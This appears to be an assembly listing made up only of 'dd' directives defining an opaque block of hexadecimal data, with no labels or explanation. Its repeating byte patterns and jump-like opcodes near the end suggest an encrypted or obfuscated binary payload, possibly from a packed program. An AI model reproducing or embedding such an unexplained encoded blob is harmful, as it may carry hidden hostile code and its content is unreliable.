dd 0EB443256h, 0D5BADB36h, 1EBB3256h, 84820A6Ch, 0DE90B1Eh
dd 0B53253F2h, 8358C753h, 58B13256h, 0ABB133DBh, 2A9CC756h
dd 0E5B13256h, 75B135DAh, 0BB313D56h, 0A1B13256h, 47B4DAD5h
dd 57B1325Ah, 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 75B160BFh
dd 0B03C3D56h, 3DB13256h, 2DBE2FE1h, 57B13256h, 22BE6137h
dd 0D5B1325Ch, 0EAB137BFh, 82FB6156h, 203A58D9h, 5BA84FF9h
dd 0AEB123BFh, 0A9D8A656h, 0ABB29511h, 4CC54279h, 1E05B71Fh
dd 713AB56Ah, 53EAC765h, 5DB1325Dh, 132609A4h, 0D3F2969Eh
dd 29DF8DEh, 55B13256h, 0EACCB759h, 7A443256h, 0BAB13ED9h
dd 5B303D56h, 0A1B13256h, 57B132D8h, 53773156h, 0B5B4F2D5h
dd 0EAB13BBEh, 50081E56h, 8C19C959h, 3CEFC723h, 13331A3h
dd 0AFB72B2Bh, 0ABB8DB1Eh, 0C75F3256h, 0A1ED367Fh, 0FC6AA095h
dd 0AA583A11h, 0F5B13256h, 0D556C280h, 0E5AECE04h, 7AE8F5E4h
dd 5C3E9134h, 3483E11h, 75B130F8h, 0A8383D36h, 0B4B13256h
dd 0AEB1325Bh, 2A1FBC63h, 0F41AA776h, 706F495h, 1D4853B8h
dd 75B9DB8Eh, 4BFC3256h
dd 0B32CA214h, 0A1D120BFh, 57B130D4h, 0CBD05256h, 0E9B189EEh
dd 183A5402h, 0B39A5337h, 0BAB9BC59h, 0DCD13256h, 3AFF084h
dd 8F465358h, 0ABB120BFh, 8A759D56h, 2156B2B4h, 8889A6EBh
dd 90CCFA3Ah, 0DE0EF8DBh, 21BE3796h, 57B1325Fh, 16518B36h
dd 0B4D14D6Dh, 45333137h, 89B72B2Bh, 0B358521Eh, 0FB13256h
dd 3BE3B8E9h, 0EE9FE173h, 0CA4BB930h, 0B5B975DFh, 0EAB122BFh
dd 6E214256h, 51AB27F6h, 0A53D1AE5h, 51496198h, 0A531609Eh
dd 22D06B65h, 5FBE3E11h, 0EAB1324Fh, 75B126BFh, 1D0ED756h
dd 0B7A9F55Dh, 3672DD6h, 0C6F7801Dh, 0E0BCCEFEh, 0D5A1DB04h
dd 1D7E3256h, 5E61DDACh, 3E513E2Ch, 0CC2C1781h, 1158C803h
dd 0BEB13257h, 0ABB1325Ah, 4081D549h, 0D41F03EDh, 363CDF26h
dd 0B548F265h, 5DB13DDCh, 0AEBBDB56h, 0F1603256h, 7DAF53FFh
dd 0DBD96608h, 3B074DCh, 75B1325Ah, 7B2A83A9h, 0D291C5A3h
dd 886C1BABh, 0D2BEB2FEh, 0ABB132E9h, 0D5B126BFh, 0A4927B56h
dd 3A043303h, 8E9B58F5h, 701D8506h, 2F303551h, 0BE77312Dh
dd 0ABB1325Dh, 3EEBA6D1h, 7FA18125h, 0F6BA97CDh, 0B4583096h
dd 0EDB13256h, 0EB94FD9Fh, 41C1C29h, 0D1751E17h, 0D5B08999h
dd 0E14D3256h, 36353D8Dh, 0DAB13256h, 5DB123BEh, 0E5664856h
dd 3A06252Ah, 2C290A5Fh, 8A5E860h, 283AFBB5h, 0EF0F5409h
dd 203B53A9h, 5BA9A97Fh, 0AEB126BFh, 0F71D2E56h, 9C9D282Ah
dd 0A4AA2DCDh, 338B45C0h, 165E112Eh, 5931CE7Bh, 9EB2CB57h
dd 0AEA5DB36h, 53863256h, 0C2116D04h, 20CF3724h, 0E4E65728h
dd 0FBB161Ch, 33D09483h, 0A4443A11h, 52BD75DFh, 570DDBAEh
dd 5C443256h, 0D5A3DB8Eh, 0D3BB3256h, 909AD37Ch, 3C591135h
dd 219C7960h, 4EB46647h, 57BAB059h, 0AD583256h, 1EB13256h
dd 4F2FC261h, 754E1786h, 0B4583256h, 63B13256h, 8185C5EFh
dd 8BB4FAF2h, 2C9815F2h, 0DA771967h, 0EAB135D4h, 74383D56h
dd 43B13256h, 0B5D1EAA1h, 0AEB1325Ah, 66A9A68Bh, 1267E13Bh
dd 41EE94C9h, 0F95869AFh, 10B13256h, 8F20CFD1h, 933E29DBh
dd 9EDF82AEh, 22587944h, 42D06EE8h, 0D5B1325Bh, 372288EDh
dd 0E06FA90Eh, 40EFB62Fh, 5F71B1E6h, 0AEB13ABFh, 0F8B37556h
dd 0A288F905h, 0DDF6BB5Ah, 0E6F6BBAAh, 0B23A5436h, 0BAB13ABFh
dd 0BDE9556h, 0F25067F8h, 584953E0h, 0ABB139D7h, 990E5256h
dd 8C83319Ch, 148A4EEEh, 0B2313D37h, 3DB13256h, 0D3BC8830h
dd 9ED05336h, 25BEF1AEh, 0D5B1324Eh, 0EAA3B059h, 78583256h
dd 1FB13256h, 1902759Ch, 5C0F8137h, 8651ADF5h, 0ABBDDB03h
dd 0D2013256h, 6EDCDAC6h, 6EBBED4h, 563A08A6h, 0BD305436h
dd 2DD0D75Fh, 0D6BECE92h, 0ABB13251h, 0D5B0B759h, 8A4D3256h
dd 75B6B759h, 3FBE3256h, 5DB13257h, 0AEB1DAA3h, 0D6EB3256h
dd 0B209FEBCh, 0C13C3D50h, 3B13256h, 75B13259h, 0B393DEB3h
dd 226763D1h, 0F34EC11Fh, 3787360Dh, 0ABB122BEh, 47B7B856h
dd 0C703E276h, 17F424EBh, 1E381DD9h, 5D313DE4h, 0F1B13256h
dd 1A0BB937h, 0CBB72B2Dh, 0B3768D59h, 0D9D0CADDh, 4A32C79Fh
dd 63353D56h, 3DB13255h, 0AEB7B259h, 0DCBE3256h, 0ABB13256h
dd 0C9FDE3D7h, 61D03100h, 8AD05251h, 45493E23h, 0D0BE3A23h
dd 0AEB1325Eh, 57B3BC59h, 0CAD13256h, 0C3363D06h, 3B13256h
dd 75B13247h, 90ED27FCh, 0E683E640h, 52BDA452h, 254FA8E7h
dd 0A367DA62h, 5ABE3256h, 0EAB1325Eh, 75B3BF59h, 0DBD13256h
dd 0D8BEF25Dh, 0AEB1324Ah, 57B0BE59h, 20443256h, 0D5B9DB51h
dd 0EECB3256h, 5F7E7A21h, 96583EF1h, 0A5B13256h, 47A5F5D5h
dd 57B13250h, 57771464h, 0B6582765h, 34ECDA9h, 75B13245h
dd 4F58F9F5h, 0F2384AD9h, 0B3B80A06h, 1880B84Ah, 223D9C39h
dd 2A44CE13h, 6ABE3E23h, 75B13257h, 0B2C4CDA3h, 5DB6B059h
dd 27BE3256h, 57B13257h, 5386CDA3h, 0D5B961BEh, 2ABACB56h
dd 75A5B659h, 0B5493256h, 5DB133DCh, 5F58CB56h, 58B13254h
dd 0ABB133DBh, 903ACE56h, 0ED88CAAAh, 776FB059h, 45493256h
dd 0D6BECE13h, 0AEB1325Eh, 57B3B059h, 0CAD13256h, 0E0E3D36h
dd 8B61B930h, 75B54DD5h, 0BAF0B659h, 50583256h, 30B13256h
dd 9266160Bh, 228B754Dh, 821A5F8Fh, 0EABD4DD5h, 7594B659h
dd 30BE3256h, 5DB13246h, 0AEB139BFh, 9EF40556h, 673D8EDCh
dd 59F9BCF1h, 0EAB16EBFh, 75B4DB56h, 0BB573256h, 0E56B1B76h
dd 514ECDA9h, 57A5DB36h, 98EF3256h, 3CFEE909h, 0D52B1AB7h
dd 55416BA2h, 99296618h, 0E4D0ED99h, 0AEB13253h, 57B9B759h
dd 2EBE3256h, 0D5B13254h, 41425336h, 75B0BE59h, 53483256h
dd 0A24ECD59h, 0AEBAB159h, 58D13256h, 0ABB132D8h, 30E3D56h
dd 0FACEB137h, 28353D53h, 53B13256h, 5DB1325Eh, 0FA535957h
dd 9D6C578Ah, 0ADA14DD5h, 0D5C1B759h, 63BE3256h, 75B1325Ah
dd 0BAB135BFh, 0BCEEAB56h, 4DDF8790h, 57B9BA59h, 24BE3256h
dd 0D5B13254h, 12F05336h, 9CB575DDh, 0BAB13251h, 32B4DFEEh
dd 25F836D2h, 0BE443E09h, 0ABB13250h, 7E7240B1h, 87585D0Bh
dd 80B13257h, 43B575DDh, 52BD6DDDh, 0AEB134D8h, 963A5256h
dd 42D0C0DDh, 0D5B13316h, 0EAB13FBFh, 9FDCAC56h, 0E8FB8D5h
dd 2655F501h, 0E93AB8EFh, 0DCD75252h, 4C306395h, 0B8B0055Bh
dd 0B53A5309h, 9CD1C75Ah, 0BAB1325Bh, 81BC8D1Dh, 6DE452FAh
dd 0B34A7962h, 64316479h, 0EED06B7Fh, 6FBE3A09h, 75B13220h
dd 0BAB0B459h, 0F4D3256h, 0AAE6B9AEh, 57B123BFh, 54079756h
dd 0C2F57B70h, 4870ECF9h, 9B12410Dh, 0EF9A2D81h, 8B2CA46h
dd 0AEA3DB42h, 183D3256h, 347852C6h, 49422AA0h, 6841B9E5h
dd 41AE9C96h, 0DABD6DDDh, 0D6B8D7D6h, 749A538Fh, 0D7E152AFh
dd 0CAE80C9Fh, 0DAB4D9D5h, 0EAB133DEh, 2F49CE56h, 0BAB137BFh
dd 9B6A8A56h, 0DB58AE49h, 58B13256h, 0ABB133D7h, 923ACB56h
dd 0EABADB52h, 1F703256h, 637F6C66h, 626E2B62h, 0A2EEB975h
dd 57B8DB36h, 74B23256h, 0CEEC0DAFh, 8B5DEFE9h, 7AB56D7Dh
dd 0BAB130D1h, 0A4D05256h, 0A1B4D9D5h, 57B133DBh, 21B2CE56h
dd 0D3A23C9Fh, 0EAA1BD59h, 0FFBE3256h, 0BAB1325Ch, 5DB137BFh
dd 5509856h, 0DCD1D7FDh, 0ABBCDB9Dh, 6FB33256h, 94F5D8A2h
dd 7D5E870h, 0DB276B64h, 5EA14DD5h, 0AEBBB759h, 31D13256h
dd 1F51DAECh, 20F05309h, 61D1EB7Dh, 8B0E3DADh, 0BF3E3D37h
dd 3DB13256h, 0CFEE64AEh, 56B06EDFh, 544E8AAEh, 0C758CDA9h
dd 0CAB13256h, 25F3103h, 28FAFFD4h, 7BBBFA25h, 43FA4478h
dd 57B48B50h, 0A2583256h, 5FB13256h, 0C41B25CFh, 71FCF64h
dd 0B75899A5h, 1B13256h, 4E77E049h, 68ABB3E8h, 0D7F83C22h
dd 2A4DECBFh, 0EB353DA9h, 8CB13256h, 52E75237h, 5DB1325Eh
dd 1BB06718h, 7DDB9119h, 62D06908h, 0D5B134BFh, 75738A56h
dd 7AE3485Fh, 0BAB13AD3h, 5F373D56h, 0CEB13256h, 57A1F037h
dd 0ABB139BFh, 0ADF0B56h, 0F2E0C36Ch, 22248612h, 563ACB03h
dd 0E2BE5236h, 603A54A1h, 57BFDA37h, 0C5FA3256h, 0DFE781CFh
dd 0EB03AEB2h, 0CC054A22h, 0DBEA5336h, 0B44DF6D5h, 0AEB13258h
dd 1EC8020Dh, 0F82C6D73h, 97545AA7h, 8AD18E2Ah, 75B126BEh
dd 0EB428956h, 0D870799Ch, 0E95D4AAAh, 0E410AFA3h, 0FE45A928h
dd 0D943B339h, 0B5EE560Fh, 9DD0EBDDh, 0BAB13256h, 0FF5BB30Ch
dd 0A1B72BEBh, 57B121D0h, 0ABBFDB56h, 864E3256h, 0D0D5D00Dh
dd 7D5BE2DEh, 0D2359187h
dd 100BB9AFh, 47B72B2Dh, 57B13250h, 66B3DF99h, 6ED1D19Dh
dd 0ED2F3854h, 0BC8253AEh, 0BA8EB1AAh, 59F2B659h, 2CBE3256h
dd 57B13257h, 42B6B9AAh, 0D5B1325Ch, 0BA357989h, 9F0829B1h
dd 0CF4E3741h, 5DA1DB5Ah, 0DDCF3256h, 5CEC5D02h, 3A9BFB73h
dd 3FDAFB92h, 9F4E36C7h, 74333D5Eh, 46B13256h, 5A3E3D06h
dd 0A1B13256h, 57B133D2h, 0BE59CE56h, 0DAB13252h, 0EAB133DFh
dd 0B5BACB56h, 0BA8BB759h, 0D3BE3256h, 0AEB13257h, 37B6B9AAh
dd 0CDEF6236h, 4A10F2D7h, 0EABEDA37h, 22B53256h, 0ABCC0BC1h
dd 0CD0DFCDDh, 117DB621h, 98305412h, 0CAEA0B43h, 0D5B164BFh
dd 0EB3D3D56h, 89B13256h, 53A5F5D5h, 5DB1325Dh, 7AD9B8ABh
dd 0C93FD78Ah, 0A4767BADh, 0D5B139D1h, 0EAB7DB56h, 11593256h
dd 51DB18DEh, 0A24E0ABFh, 0A75852A9h, 0EBB13256h, 5F708A70h
dd 5E993A9Dh, 278CE5D7h, 7AD002F6h, 0BAB138D9h, 3E05256h
dd 0B9BAD9D7h, 0DED024D9h, 5444CE13h, 3C443E23h, 0EAB1325Bh
dd 0BC460689h, 36803B62h, 32F49E5h, 0A6C4CD3Ah, 604ECAAFh
dd 0A4E86236h, 0D5B132D6h, 0A7595356h, 7AB13255h, 0BAB133D4h
dd 9DBACB56h, 0AE98B659h, 50583256h, 20B13256h, 2A4C6FD7h
dd 0E4581131h, 9CB13255h, 0BAB13245h, 5BE83097h, 815FD971h
dd 0E52F3568h, 0E5F1B6EDh, 5E1795E2h, 0D348CE13h, 9F333D51h
dd 53B13254h, 5DB1325Bh, 85FF331Ah, 3E534CBEh, 47ADCDFAh
dd 29F4CD5Dh, 0EAA0B059h, 79583256h, 18B13256h, 25A32567h
dd 5DE2E564h, 374A5FBFh, 5EA692EFh, 56D0CE62h, 0E5B13629h
dd 75B11AD2h, 0C532C756h, 0D9BE325Ah, 0AEB1324Bh, 57B0B359h
dd 42483256h, 0D5B13208h, 0EC343D36h, 7AB13256h, 0BAB132D6h
dd 0AD0E3D56h, 514E8A37h, 0D7BECDA9h, 0ABB1325Ch, 54818236h
dd 0E5C11289h, 70085353h, 53B13256h, 5DB1325Dh, 0BA65D22Ah
dd 90A75DB1h, 58E5D46Bh, 5ED752FDh, 0EAA0DB95h, 0AF363256h
dd 0B363FA5Dh, 37982281h, 0D918863Eh, 36668201h, 544FECBFh
dd 0AA32CEA9h, 6EBE3746h, 75B132D2h, 0AACEB1AFh, 9A343D50h
dd 0CEB13256h, 1726D8E8h, 170E5429h, 0DAF053EEh, 0EAB135D4h
dd 743A3D56h, 46B13256h, 52B575DDh, 0AEB133D4h, 83ACE56h
dd 0A359525Ah, 19B13256h, 0B3E3B42Ah, 9CEC6E20h, 0BAB1325Ch
dd 0FB432119h, 6026C4A2h, 0D6EF0286h, 7A17A081h, 81585359h
dd 8AB13257h, 75B122BFh, 911FB56h, 52AEDD99h, 98B9AB83h
dd 3F6353C3h, 0ABBCDB9Ah, 832D3256h, 56EC941Bh, 19039B5Fh
dd 0DBFCF221h, 52B575DDh, 0AEB138D5h, 0E8BE5256h, 6A305491h
dd 0B5D08EC5h, 0E01F8930h, 75B13EBFh, 0BCD44556h, 0D2FABAEDh
dd 6E8D6D28h, 83A53CEh, 4244CE5Ah, 0D5B1328Bh, 0BD40B936h
dd 75B13DBFh, 0C6CA8B56h, 0E964CF1h, 0FD04CFD5h, 0B45A6FFh
dd 0EC3A530Fh, 54D75252h, 0E5779A94h, 75B130DCh, 0DB998456h
dd 0B4BD6DDDh, 0AEB13245h, 402D456Eh, 533AC81h, 89059F9Fh
dd 6BC1F0CDh, 151C7582h, 9472E8EEh, 5DA1DA79h, 0CF423256h
dd 0C86FF716h, 0C176CFE3h, 6DB6FA90h, 3C3A5FFEh, 2A9A530Dh
dd 0B13A3D52h, 0B4B13256h, 0AEB13250h, 0EDE35343h, 40324872h
dd 6ABE5253h, 0EAB9DB8Ch, 0BC7A3256h, 5E385D96h, 0DED08443h
dd 0A1B22229h, 57B176D3h, 2B065256h, 0D5B122BEh, 77280256h
dd 0B2B65F2Bh, 0C5A1CF82h, 0A1841495h, 382F895Eh, 36EE6A65h
dd 0ABB126BFh, 0BF44B056h, 46D0157Ah, 8BFBDAE1h, 151270F4h
dd 3F2790DCh, 2CBE73D4h, 57B13253h, 7A0E3D36h, 0DA681937h
dd 0EAB120D5h, 793A3D56h, 53B13256h, 5DB13251h, 942805DCh
dd 0DE8DA1BDh, 0A4B0330Ah, 0D5B127DDh, 0EAA1DB56h, 0FDC43256h
dd 90872523h, 5F4992DEh, 5152D9FCh, 0A809D49Bh, 0CB4ECDA9h
dd 5B6B8D30h, 0EAB120BEh, 96458B56h, 0A3384800h, 0D6DF5F8Ch
dd 0BAE7A73Bh, 0BEFA299Fh, 0ABB13251h, 0EB9132B8h, 0B35811A4h
dd 75B48B37h, 53D13256h, 5DB1325Ah, 4B17D712h, 0D6466EA6h
dd 94CC9547h, 0DA1AC137h, 0EAB138D8h, 75B4DB56h, 0AF9D3256h
dd 0B402C518h, 514ECEF1h, 31D153AFh, 8AD6D8D7h, 0B472B930h
dd 0E273CE9Fh, 0CABE5256h, 0BE353D94h, 3BB13256h, 0CF41B6EDh
dd 0BB3ACB03h, 0ABB0B459h, 56443256h, 8A44CE92h, 75B2B359h
dd 31D73256h, 52D1538Eh, 0AEB126DDh, 0D6BE5256h, 0ABB13256h
dd 0D5B135BFh, 7D2CC956h, 0BBE3DF89h, 0B2F4B937h, 5DB13ABFh
dd 35242256h, 6D7C39F3h, 0A7F40911h, 0D59EB059h, 0D1483256h
dd 0F2BE2213h, 0BAB13273h, 5DB4DBAAh, 860E3256h, 90491D8Eh
dd 0ABB1CE13h, 3C493256h, 0EAB13270h, 75B13ABFh, 7B2E3856h
dd 5E2623C7h, 52F4F5E6h, 57B13257h, 0A0585336h, 3CB13256h
dd 0EAB13250h, 0C2BBA972h, 53D0FCB0h, 5DB13245h, 8ED3CED1h
dd 8F6E2E96h, 39A9ED0Ah, 342FE6C4h, 61A98A81h, 15D1CE13h
dd 526A8D59h, 5DB13247h, 2498426Ch, 5CAABB4Ah, 72EC37FDh
dd 8A5676CFh, 5BD06DB9h, 9CD15300h, 0BAB1325Ch, 0AF3D0826h
dd 65EB06Fh, 5158A66Ch, 0AEB13256h, 0E3BB0A2Dh, 8A785331h
dd 75B0B859h, 46443256h, 5DBDF037h, 0AEACB459h, 0D7BE3256h
dd 0ABB13241h, 0D5B120BFh, 0D999B256h, 838B60B7h, 3566ECDBh
dd 0FF8C591Ch, 5BF0BE69h, 57BDDB03h, 33A63256h, 0C32CFADAh
dd 0B0968D33h, 993AA62Ah, 0BAB122BFh, 23324C56h, 494845BDh
dd 0A1C555ECh, 1F80B341h, 2975B196h, 0EAB126BFh, 0B8B3DF56h
dd 69AED19Dh, 0EF0F41DEh, 6691A84Dh, 0CDE48307h, 0A258520Ch
dd 0C6B13256h, 6CBB1AA7h, 5FE50216h, 0BAB132BEh, 0B7306856h
dd 0A8A8F195h, 926C8836h, 20BE5D86h, 0D5B13253h, 5C67B330h
dd 0FED15340h, 0AB303DA5h, 0B4B13256h, 0AEB1325Ah, 864E65CAh
dd 9D54A6BEh, 6B28F1BEh, 0E5780137h, 75B12BD0h, 0BAA5DB56h
dd 0B8653256h, 864F2220h, 6040BA47h, 973D3E10h, 1866D29h
dd 31829BBBh, 75BCDB36h, 207E3256h, 0E5B3B4FAh, 42FB74CBh
dd 3179866Fh, 0CA827AEEh, 294D6FDFh, 91FC88DDh, 0F64D344Fh
dd 3EBE3269h, 5DB130A6h, 0AEA9BD59h, 44583256h, 9CB13256h
dd 95C7A7DBh, 28109816h, 0B4EDE878h, 3B07DD66h, 6232A9F4h
dd 9B343DA9h, 58B13256h, 0ABB133D2h, 0D358C756h, 74B13256h
dd 4C53DCA2h, 0AE76B1C4h, 5DB6DB36h, 3DEA3256h, 32D343Ah
dd 9B42B330h, 0B4DA1D72h, 154E90BFh, 74323DA9h, 4FB13256h
dd 5DB54DD5h, 0AEF4B659h, 0D7BE3256h, 0ABB1325Ah, 0D5B7BC59h
dd 69BE3256h, 75B13256h, 0BABD4DD5h, 5D98B659h, 23BE3256h
dd 57B1324Bh, 0ABA6B559h, 0C7583256h, 0ACB13256h, 13BAFAACh
dd 0D68D99C2h, 0C0124A0Fh, 8091A2D9h, 57FADB5Eh, 54443256h
dd 0DA4DCE13h, 0EAB135D0h, 0AB3A5256h, 0DB70B930h, 3DA5F5D5h
dd 0AEB13EBFh, 9132F456h, 0BFA75821h, 2383E35Fh, 3D0C743h
dd 8A4ECD49h, 0AC353DA3h, 52B13256h, 0AEB122D9h, 57BADB56h
dd 462B3256h, 0AB564F49h, 6ED2CA31h, 65CEB1FEh, 0C353D53h
dd 0B4B13256h, 0AEB13246h, 0C9150788h, 0CD9D0967h, 0D98C1761h
dd 0BF10557Bh, 73A14DD5h, 0BA74B759h, 51583256h, 20B13256h
dd 3D57E94Eh, 0EE4A78A9h, 9437A1A3h, 0EAB13CBFh, 0D8C83E56h
dd 0C865E4F2h, 69A91394h, 0CE07D218h, 0A776B330h, 0EC3A53C8h
dd 0D5B6DB52h, 7BAF3256h, 0EFA09806h, 79315208h, 3C42B9C6h
dd 0CEBD6DDDh, 57B13BBEh, 0AF904456h, 0C1B593C2h, 6CBE4781h
dd 75B13256h, 0AA3B3D0Eh
dd 0B4B13256h, 0AEB1325Dh, 93A3385h, 3D2FF1A1h, 0B43EF120h
dd 0EABFBA59h, 7C583256h, 63B13256h, 6EC1F6A4h, 0AE219D1Fh
dd 57B1E5BFh, 0AD343D56h, 0B5B13256h, 253A5336h, 71F6B937h
dd 31D0CB36h, 3DD13E09h, 2FBED8DCh, 57B13256h, 6A306437h
dd 0C1D20B28h, 6C58530Fh, 9CB13256h, 0BAB13251h, 4684BDBEh
dd 252E3081h, 44583611h, 58B13256h, 1246C0FCh, 0F4418592h
dd 0ABA014C1h, 218ED65h, 23A12BCh, 0AEBFDB5Ah, 0EEBD3256h
dd 4DACE913h, 924B2DE2h, 121C7735h, 15B56D7Dh, 0B502F3DDh
dd 585AB137h, 2747B236h, 6867B330h, 0D432532Ah, 50BE3146h
dd 0EAB1327Fh, 79313DAFh, 0B5B13256h, 5DB134DFh, 0AE343D56h
dd 16B13256h, 0ABBEBB59h, 0DF583256h, 0F1B13256h, 87EA3E1h
dd 25F01681h, 526819A8h, 0AEB129D0h, 42383D56h, 42B13256h
dd 0D5B13246h, 0B63103E3h, 0DE11E371h, 0B3F7E86Eh, 7D1A7A95h
dd 0AFB06EDFh, 57B134BFh, 21EC8E56h, 6D8B899Eh, 154ECDA9h
dd 74363D36h, 46B13256h, 5DB48B37h, 0A5583256h, 0C3B13256h
dd 9269005Dh, 0C6CB329Eh, 41422319h, 67353D36h, 52B13256h
dd 5DB1325Ah, 0EA0EFED2h, 267EE76Bh, 0D7CC60B4h, 8109540Ch
dd 0CA5853D9h, 9C4ECDABh, 0BAB13242h, 0D265BBA9h, 0CAB7B637h
dd 0CD0ADA88h, 0AA343616h, 0D0FFE113h, 0AF3ACA37h, 7A78CAAAh
dd 0BAB123D4h, 54585256h, 52B13256h, 0F5CAA54Fh, 0B9DA238Bh
dd 0DA7253A3h, 0EAB13AD2h, 77343D56h, 0DAB13256h, 57586237h
dd 67B13256h, 3C97F3ACh, 583367BFh, 3DD163D8h, 0EAB1325Fh
dd 1622B218h, 4AE685E7h, 5DB6DA28h, 0F71F3256h, 6EF4D54Ch
dd 0CDE96865h, 1A85F8D7h, 61D16137h, 1448B9A4h, 0BAB1DAA3h
dd 0DCEB3256h, 0B77696BCh, 0DCBE5250h, 0ABB13256h, 0BB0F8830h
dd 67BE5237h, 75B13253h, 75CB92EDh, 5DB8DB40h, 0F8483256h
dd 19BE0096h, 0CA7BA7DFh, 0AE42A8DBh, 344344Fh, 75B13251h
dd 18AD876Ah, 0E5B1A5FEh, 0AEB13232h, 57B13EBFh, 1822E256h
dd 4D799366h, 2A8A561h, 0F4D7527Ah, 52615F88h, 5DB13242h
dd 43B3FF35h, 149D7401h, 0EF61501Ah, 85C50B7Ah, 3556F621h
dd 14E96A05h, 0BAB475BEh, 563ACE56h, 0A17009AAh, 57B13AD0h
dd 0A9373D56h, 0B5B13256h, 0E9333D37h, 15B13256h, 295853A3h
dd 3DB13256h, 0AC343DA3h, 0DDB13256h, 0E0B25397h, 148AC752h
dd 0EA0FB059h, 76493256h, 0B158221Dh, 8EB13256h, 3EAA9237h
dd 2715A50Ah, 6A8A8805h, 0D58DB059h, 0FE583256h, 0BFB13256h
dd 886B0EAFh, 0D934EBA7h, 0D6FBD88Ch, 0A7FF766Ch, 42F47FD9h
dd 0D5B13272h, 0EAA9BF59h, 66583256h, 51B13256h, 58577EB1h
dd 15FA46FCh, 0ABA21389h, 17E88A18h, 4F589CB3h, 1FB13256h
dd 75B1A6BFh, 5BE5256h, 5F3C3D80h, 0FEB13256h, 0DDBE530Fh
dd 0ABB13250h, 160E3D36h, 703C53AFh, 73AB4941h, 4669B336h
dd 0D6A31953h, 2ABE538Fh, 57B13245h, 0ABBCBB59h, 0DD583256h
dd 9CB13256h, 4A1BECC0h, 45568F12h, 1758C785h, 0CEB13256h
dd 57B1B159h, 26BE3256h, 0D5B13255h, 8B42B930h, 0B8CA8DBh
dd 0B5D1344Ch, 8D30C2E9h, 0CC3EA49Fh, 563C3D37h, 5EB13256h
dd 0C558E1A9h, 65B13256h, 9AF384E8h, 0A033A0BEh, 3CC8EA24h
dd 475BF918h, 57B13253h, 1C34F805h, 0DAD1699Dh, 0EAB131D9h
dd 0A151B256h, 0FF7BB330h, 0D6D153C9h, 0F7D0CB9Ch, 57B139BFh
dd 0BDC3F256h, 739C57BAh, 1678FD6Bh, 75BADB0Eh, 73993256h
dd 41D2E281h, 7559CC86h, 58D1F1C0h, 0AD58E0E1h, 0A6B13256h
dd 0D7C6ED77h, 9CE45380h, 0BAB13247h, 45EA23BBh, 2D6B3D48h
dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h
dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h, 5EEF6036h
dd 3C305237h, 0BF0BC9B3h, 75B13BBFh, 79D38356h, 0D4B9000Dh
dd 5BD084C9h, 44595236h, 0F0B13256h, 3D705629h, 0BD77D1F2h
dd 3FA235AFh, 0EAD694E1h, 3CD1DC76h, 6D30540Ch, 0DAD0B4F0h
dd 0B2CAC1ECh, 903ACA50h, 0EAB6DB5Eh, 96663256h, 926D9B9Dh
dd 5DB6DB99h, 0E8C63256h, 0F039851Ah, 0A4B6BB6Ch, 0D5B133D0h
dd 61BECE56h, 75B13240h, 0BAA1BD59h, 56583256h, 46B13256h
dd 0F7691185h, 177917FEh, 903A7A9Ch, 0AD38CA5Ah, 75B7DB52h
dd 0BFBB3256h, 28ECBBD0h, 0CEA177DDh, 5159CADDh, 0A6B13256h
dd 93C05938h, 0EABBDB40h, 0E8F93256h, 8ED799C0h, 7D3FFD9Ah
dd 0E938530Dh, 5B3B3D5Ah, 0A4B13256h, 0D5B134D2h, 0EA383D56h
dd 0FEB13256h, 0B5582613h, 71B13256h, 0D385EF81h, 81E60F28h
dd 2D9A9E63h, 92381F91h, 5DBE5246h, 763A3D99h, 3AB13256h
dd 3CD03D99h, 166BB836h, 75A67B9Ch, 694DFB37h, 52BE3246h
dd 0EAB13257h, 154852AFh, 5A305436h, 4F597B2Ah, 0DBB13256h
dd 5CB4735Ch, 6334273Bh, 1894754Ah, 3CF3B572h, 14D068FCh
dd 0AB50B790h, 52F63445h, 0AEB133D1h, 4558CE56h, 82B13256h
dd 0E16AA45Bh, 57BB4BF5h, 2F8D4BCBh, 14CEF755h, 2EAB5A8Ah
dd 2ED19A41h, 8630F490h, 9D4F7541h, 3C04CD37h, 3B72148h
dd 75B13242h, 296A21D0h, 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h
dd 64E6DE3Eh, 0A982B7DBh, 15443440h, 79585286h, 38B13256h
dd 46029E2Bh, 1D23B9F3h, 0BE105BF7h, 0ABB1325Fh, 0F98A03C8h
dd 0D7940530h, 7AE3535Ah, 0BAB133D1h, 0D7BECE56h, 0AEB1325Bh
dd 57B13ABFh, 628FAB56h, 0FB7F1FCBh, 3E3BBFD8h, 9CB72B2Bh
dd 0BAB13245h, 2C0DD7CCh, 1B6C6CA7h, 0D4F80E5h, 0AB4412CBh
dd 84265C77h, 0EAB134BFh, 0BD681856h, 459AC476h, 593A3D86h
dd 0CEB13256h, 0DD05336h, 0AF3B3D36h, 0B3B13256h, 8B5B1BEEh
dd 0A133BFAEh, 53B72B2Bh, 5DB1325Ah, 0F57EED3Fh, 0C2F1A378h
dd 7EE4081Dh, 0D9F18559h, 0EAB4DB36h, 0A783256h, 318EB7D4h
dd 853A53A6h, 0A14460A3h, 0A2EBC767h, 0AE58F155h, 90B13256h
dd 0BADEE3EAh, 6C14B0DFh, 3CBE3445h, 5DB13251h, 0AEB0B659h
dd 36443256h, 0CB44F1AAh, 1A305436h, 65BE7E06h, 0B13256h
dd 0F516161h, 168Eh, 11E900h, 0D2340000h, 0A36D01DDh, 312039C0h
dd 95C1BB05h, 521834D2h, 0E8F8h, 815A0000h, 19CC64EAh
dd 0C0816006h, 3D35516Bh, 4149BF66h, 0DE961h, 4C00000h
dd 8761D005h, 0AF260D39h, 0F1BDAF7h, 1980h, 14E900h, 0A270000h
dd 0D93DE09Bh, 69269F39h, 657C8148h, 0A8689EBDh, 605263BDh
dd 3890Fh, 0E9800000h, 6860F9Fh, 0F000000h, 84h, 828B6100h
dd 61319A5h, 0C850Fh, 8D0F0000h, 6, 8B0Fh, 6DB90000h, 0F941C64Eh
dd 0F60E1F7h, 28Fh, 0F616000h, 198Fh, 14E900h, 0E94E0000h
dd 525EACB2h, 27121401h, 8E289577h, 0F686A82Bh, 5A61D001h
dd 178D0Fh, 12E90000h, 0ED000000h, 0E9CFDD88h, 2903DE61h
dd 489A33ABh, 0B964B798h, 303905ADh, 25F90000h, 7FFFFFFFh
dd 5E9h, 4B3D8A00h, 8289BE22h, 61319A5h, 830F5AF5h, 1
dd 880F59F8h, 1, 8D0FC3F8h, 1, 8A0F60FCh, 3, 66CEBF0Fh
